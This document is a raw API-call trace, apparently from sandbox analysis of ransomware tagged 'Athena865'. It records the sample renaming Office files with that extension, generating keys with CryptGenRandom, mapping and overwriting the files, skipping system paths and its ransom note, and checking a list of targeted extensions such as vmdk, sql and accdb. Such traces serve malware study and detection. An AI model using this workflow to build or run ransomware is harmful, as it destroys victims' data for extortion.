Office\\Office14\\1033\\OUTLOOK.DEV.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.athena865"), dwFlags=0x1) returned 1 [0144.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.261] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6988760) returned 1 [0144.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.261] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.262] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.262] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.262] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6aa6e0, lpName=0x0) returned 0x17c [0144.263] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0xaa6e0) returned 0x2bb0000 [0144.387] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.388] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.388] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.388] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.388] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.388] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.388] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.388] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.389] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.389] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.389] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.389] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0144.394] CloseHandle (hObject=0x17c) returned 1 [0144.395] CloseHandle (hObject=0x154) returned 1 [0144.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.404] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLOOK.DEV_COL.HXC", cAlternateFileName="OUTLOO~1.HXC")) returned 1 [0144.404] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.404] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.404] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2=".") returned 1 [0144.404] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2="..") returned 1 [0144.404] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2="windows") returned -1 [0144.404] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2="bootmgr") returned 1 [0144.404] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2="temp") returned -1 [0144.404] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2="pagefile.sys") returned -1 [0144.404] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2="boot") returned 1 [0144.404] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2="ids.txt") returned 1 [0144.404] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2="ntuser.dat") returned 1 [0144.404] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2="perflogs") returned -1 [0144.404] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2="MSBuild") returned 1 [0144.404] lstrlenW (lpString="OUTLOOK.DEV_COL.HXC") returned 19 [0144.404] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLOOK.DEV_COL.HXC" | out: lpString1="OUTLOOK.DEV_COL.HXC") returned="OUTLOOK.DEV_COL.HXC" [0144.404] lstrlenW (lpString="OUTLOOK.DEV_COL.HXC") returned 19 [0144.404] lstrlenW (lpString="Athena865") returned 9 [0144.404] lstrcmpiW (lpString1="V_COL.HXC", lpString2="Athena865") returned 1 [0144.404] lstrlenW (lpString=".dll") returned 4 [0144.404] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2=".dll") returned 1 [0144.404] lstrlenW (lpString=".lnk") returned 4 [0144.405] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2=".lnk") returned 1 [0144.405] lstrlenW (lpString=".ini") returned 4 [0144.405] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2=".ini") returned 1 [0144.405] lstrlenW (lpString=".sys") returned 4 [0144.405] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXC", lpString2=".sys") returned 1 [0144.405] lstrlenW (lpString="OUTLOOK.DEV_COL.HXC") returned 19 [0144.405] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.Athena865") returned 77 [0144.405] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc.athena865"), dwFlags=0x1) returned 1 [0144.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.430] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=651) returned 1 [0144.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.430] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.431] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.431] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.431] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x17c [0144.433] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000 [0144.464] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.464] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.464] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.465] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.465] CloseHandle (hObject=0x17c) returned 1 [0144.465] CloseHandle (hObject=0x154) returned 1 [0144.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.466] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbc4400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4fbc4400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLOOK.DEV_COL.HXT", cAlternateFileName="OUTLOO~1.HXT")) returned 1 [0144.466] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.466] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.466] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2=".") returned 1 [0144.466] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2="..") returned 1 [0144.466] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2="windows") returned -1 [0144.466] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2="bootmgr") returned 1 [0144.466] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2="temp") returned -1 [0144.466] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2="pagefile.sys") returned -1 [0144.466] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2="boot") returned 1 [0144.466] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2="ids.txt") returned 1 [0144.466] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2="ntuser.dat") returned 1 [0144.466] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2="perflogs") returned -1 [0144.466] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2="MSBuild") returned 1 [0144.466] lstrlenW (lpString="OUTLOOK.DEV_COL.HXT") returned 19 [0144.466] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLOOK.DEV_COL.HXT" | out: lpString1="OUTLOOK.DEV_COL.HXT") returned="OUTLOOK.DEV_COL.HXT" [0144.466] lstrlenW (lpString="OUTLOOK.DEV_COL.HXT") returned 19 [0144.467] lstrlenW (lpString="Athena865") returned 9 [0144.467] lstrcmpiW (lpString1="V_COL.HXT", lpString2="Athena865") returned 1 [0144.467] lstrlenW (lpString=".dll") returned 4 [0144.467] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2=".dll") returned 1 [0144.467] lstrlenW (lpString=".lnk") returned 4 [0144.467] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2=".lnk") returned 1 [0144.467] lstrlenW (lpString=".ini") returned 4 [0144.467] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2=".ini") returned 1 [0144.467] lstrlenW (lpString=".sys") returned 4 [0144.467] lstrcmpiW (lpString1="OUTLOOK.DEV_COL.HXT", lpString2=".sys") returned 1 [0144.467] lstrlenW (lpString="OUTLOOK.DEV_COL.HXT") returned 19 [0144.467] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.Athena865") returned 77 [0144.467] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt.athena865"), dwFlags=0x1) returned 1 [0144.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.469] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=211) returned 1 [0144.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.470] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.471] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.471] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.471] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x17c [0144.475] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000 [0144.493] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.498] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.498] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.499] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.499] CloseHandle (hObject=0x17c) returned 1 [0144.499] CloseHandle (hObject=0x154) returned 1 [0144.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.499] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbc4400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4fbc4400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLOOK.DEV_F_COL.HXK", cAlternateFileName="OUTLOO~1.HXK")) returned 1 [0144.499] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.499] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.499] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2=".") returned 1 [0144.499] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2="..") returned 1 [0144.499] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2="windows") returned -1 [0144.499] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2="bootmgr") returned 1 [0144.499] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2="temp") returned -1 [0144.500] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2="pagefile.sys") returned -1 [0144.500] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2="boot") returned 1 [0144.500] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2="ids.txt") returned 1 [0144.500] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2="ntuser.dat") returned 1 [0144.500] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2="perflogs") returned -1 [0144.500] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2="MSBuild") returned 1 [0144.500] lstrlenW (lpString="OUTLOOK.DEV_F_COL.HXK") returned 21 [0144.500] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLOOK.DEV_F_COL.HXK" | out: lpString1="OUTLOOK.DEV_F_COL.HXK") returned="OUTLOOK.DEV_F_COL.HXK" [0144.500] lstrlenW (lpString="OUTLOOK.DEV_F_COL.HXK") returned 21 [0144.500] lstrlenW (lpString="Athena865") returned 9 [0144.500] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0144.500] lstrlenW (lpString=".dll") returned 4 [0144.500] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2=".dll") returned 1 [0144.500] lstrlenW (lpString=".lnk") returned 4 [0144.500] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2=".lnk") returned 1 [0144.500] lstrlenW (lpString=".ini") returned 4 [0144.500] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2=".ini") returned 1 [0144.500] lstrlenW (lpString=".sys") returned 4 [0144.500] lstrcmpiW (lpString1="OUTLOOK.DEV_F_COL.HXK", lpString2=".sys") returned 1 [0144.500] lstrlenW (lpString="OUTLOOK.DEV_F_COL.HXK") returned 21 [0144.500] lstrlenW (lpString="bak") returned 3 [0144.500] lstrcmpiW (lpString1="HXK", lpString2="bak") returned 1 [0144.500] lstrlenW (lpString="ba_") returned 3 [0144.500] lstrcmpiW (lpString1="HXK", lpString2="ba_") returned 1 [0144.500] lstrlenW (lpString="dbb") returned 3 [0144.500] lstrcmpiW (lpString1="HXK", lpString2="dbb") returned 1 [0144.500] lstrlenW (lpString="vmdk") returned 4 [0144.501] lstrcmpiW (lpString1=".HXK", lpString2="vmdk") returned -1 [0144.501] lstrlenW (lpString="rar") returned 3 [0144.501] lstrcmpiW (lpString1="HXK", lpString2="rar") returned -1 [0144.501] lstrlenW (lpString="zip") returned 3 [0144.501] lstrcmpiW (lpString1="HXK", lpString2="zip") returned -1 [0144.501] lstrlenW (lpString="tgz") returned 3 [0144.501] lstrcmpiW (lpString1="HXK", lpString2="tgz") returned -1 [0144.501] lstrlenW (lpString="vbox") returned 4 [0144.501] lstrcmpiW (lpString1=".HXK", lpString2="vbox") returned -1 [0144.501] lstrlenW (lpString="vdi") returned 3 [0144.501] lstrcmpiW (lpString1="HXK", lpString2="vdi") returned -1 [0144.501] lstrlenW (lpString="vhd") returned 3 [0144.501] lstrcmpiW (lpString1="HXK", lpString2="vhd") returned -1 [0144.501] lstrlenW (lpString="vhdx") returned 4 [0144.501] lstrcmpiW (lpString1=".HXK", lpString2="vhdx") returned -1 [0144.501] lstrlenW (lpString="avhd") returned 4 [0144.501] lstrcmpiW (lpString1=".HXK", lpString2="avhd") returned -1 [0144.501] lstrlenW (lpString="db") returned 2 [0144.501] lstrcmpiW (lpString1="XK", lpString2="db") returned 1 [0144.501] lstrlenW (lpString="db2") returned 3 [0144.501] lstrcmpiW (lpString1="HXK", lpString2="db2") returned 1 [0144.501] lstrlenW (lpString="db3") returned 3 [0144.501] lstrcmpiW (lpString1="HXK", lpString2="db3") returned 1 [0144.501] lstrlenW (lpString="dbf") returned 3 [0144.501] lstrcmpiW (lpString1="HXK", lpString2="dbf") returned 1 [0144.501] lstrlenW (lpString="mdf") returned 3 [0144.501] lstrcmpiW (lpString1="HXK", lpString2="mdf") returned -1 [0144.501] lstrlenW (lpString="mdb") returned 3 [0144.501] lstrcmpiW (lpString1="HXK", lpString2="mdb") returned -1 [0144.502] lstrlenW (lpString="sql") returned 3 [0144.502] lstrcmpiW (lpString1="HXK", lpString2="sql") returned -1 [0144.502] lstrlenW (lpString="sqlite") returned 6 [0144.502] lstrcmpiW (lpString1="OL.HXK", lpString2="sqlite") returned -1 [0144.502] lstrlenW (lpString="sqlite3") returned 7 [0144.502] lstrcmpiW (lpString1="COL.HXK", lpString2="sqlite3") returned -1 [0144.502] lstrlenW (lpString="sqlitedb") returned 8 [0144.502] lstrcmpiW (lpString1="_COL.HXK", lpString2="sqlitedb") returned -1 [0144.502] lstrlenW (lpString="xml") returned 3 [0144.502] lstrcmpiW (lpString1="HXK", lpString2="xml") returned -1 [0144.502] lstrlenW (lpString="$er") returned 3 [0144.502] lstrcmpiW (lpString1="HXK", lpString2="$er") returned 1 [0144.502] lstrlenW (lpString="4dd") returned 3 [0144.502] lstrcmpiW (lpString1="HXK", lpString2="4dd") returned 1 [0144.502] lstrlenW (lpString="4dl") returned 3 [0144.502] lstrcmpiW (lpString1="HXK", lpString2="4dl") returned 1 [0144.502] lstrlenW (lpString="^^^") returned 3 [0144.502] lstrcmpiW (lpString1="HXK", lpString2="^^^") returned 1 [0144.502] lstrlenW (lpString="abs") returned 3 [0144.502] lstrcmpiW (lpString1="HXK", lpString2="abs") returned 1 [0144.502] lstrlenW (lpString="abx") returned 3 [0144.502] lstrcmpiW (lpString1="HXK", lpString2="abx") returned 1 [0144.502] lstrlenW (lpString="accdb") returned 5 [0144.502] lstrcmpiW (lpString1="L.HXK", lpString2="accdb") returned 1 [0144.502] lstrlenW (lpString="accdc") returned 5 [0144.502] lstrcmpiW (lpString1="L.HXK", lpString2="accdc") returned 1 [0144.502] lstrlenW (lpString="accde") returned 5 [0144.502] lstrcmpiW (lpString1="L.HXK", lpString2="accde") returned 1 [0144.503] lstrlenW (lpString="accdr") returned 5 [0144.503] lstrcmpiW (lpString1="L.HXK", lpString2="accdr") returned 1 [0144.503] lstrlenW (lpString="accdt") returned 5 [0144.503] lstrcmpiW (lpString1="L.HXK", lpString2="accdt") returned 1 [0144.503] lstrlenW (lpString="accdw") returned 5 [0144.503] lstrcmpiW (lpString1="L.HXK", lpString2="accdw") returned 1 [0144.503] lstrlenW (lpString="accft") returned 5 [0144.503] lstrcmpiW (lpString1="L.HXK", lpString2="accft") returned 1 [0144.503] lstrlenW (lpString="adb") returned 3 [0144.503] lstrcmpiW (lpString1="HXK", lpString2="adb") returned 1 [0144.503] lstrlenW (lpString="adb") returned 3 [0144.503] lstrcmpiW (lpString1="HXK", lpString2="adb") returned 1 [0144.503] lstrlenW (lpString="ade") returned 3 [0144.503] lstrcmpiW (lpString1="HXK", lpString2="ade") returned 1 [0144.503] lstrlenW (lpString="adf") returned 3 [0144.503] lstrcmpiW (lpString1="HXK", lpString2="adf") returned 1 [0144.503] lstrlenW (lpString="adn") returned 3 [0144.503] lstrcmpiW (lpString1="HXK", lpString2="adn") returned 1 [0144.503] lstrlenW (lpString="adp") returned 3 [0144.503] lstrcmpiW (lpString1="HXK", lpString2="adp") returned 1 [0144.503] lstrlenW (lpString="alf") returned 3 [0144.503] lstrcmpiW (lpString1="HXK", lpString2="alf") returned 1 [0144.503] lstrlenW (lpString="ask") returned 3 [0144.503] lstrcmpiW (lpString1="HXK", lpString2="ask") returned 1 [0144.503] lstrlenW (lpString="btr") returned 3 [0144.503] lstrcmpiW (lpString1="HXK", lpString2="btr") returned 1 [0144.503] lstrlenW (lpString="cat") returned 3 [0144.503] lstrcmpiW (lpString1="HXK", lpString2="cat") returned 1 [0144.503] lstrlenW (lpString="cdb") returned 3 [0144.504] lstrcmpiW (lpString1="HXK", lpString2="cdb") returned 1 [0144.504] lstrlenW (lpString="ckp") returned 3 [0144.504] lstrcmpiW (lpString1="HXK", lpString2="ckp") returned 1 [0144.504] lstrlenW (lpString="cma") returned 3 [0144.504] lstrcmpiW (lpString1="HXK", lpString2="cma") returned 1 [0144.504] lstrlenW (lpString="cpd") returned 3 [0144.504] lstrcmpiW (lpString1="HXK", lpString2="cpd") returned 1 